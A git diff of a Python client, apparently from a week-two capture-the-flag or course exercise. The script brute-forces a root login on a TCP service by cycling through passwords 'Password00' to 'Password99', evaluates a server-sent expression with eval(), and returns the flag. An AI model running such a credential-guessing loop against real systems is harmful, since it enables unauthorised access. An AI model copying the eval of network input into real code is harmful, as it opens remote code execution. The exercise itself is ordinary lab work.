diff --git a/week02/hard/client.py b/week02/hard/client.py index c0c6d28..149fad1 100644 --- a/week02/hard/client.py +++ b/week02/hard/client.py @@ -6,27 +6,25 @@ PORT = 64984 # TODO def get_flag(): for i in range(100): - time.sleep(2) credentials = "root,Password"+str("%02d" % i) - print(credentials) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) sf = s.makefile('rw') # we use a file abstraction for the sockets - print(sf.readline().rstrip('\n')) + tmp = sf.readline().rstrip('\n') sf.write("{}\n".format(credentials)) sf.flush() data = sf.readline().rstrip('\n') resp = eval(data) sf.write("{}\n".format(resp)) sf.flush() - result = sf.readline().rstrip('\n') - if "login" in result: - print(sf.readline().rstrip('\n')) - break + ans = sf.readline().rstrip('\n') + if "login" in ans: + res = sf.readline().rstrip('\n') + return res except: pass - + if __name__ == '__main__': - get_flag() \ No newline at end of file + print(get_flag()) \ No newline at end of file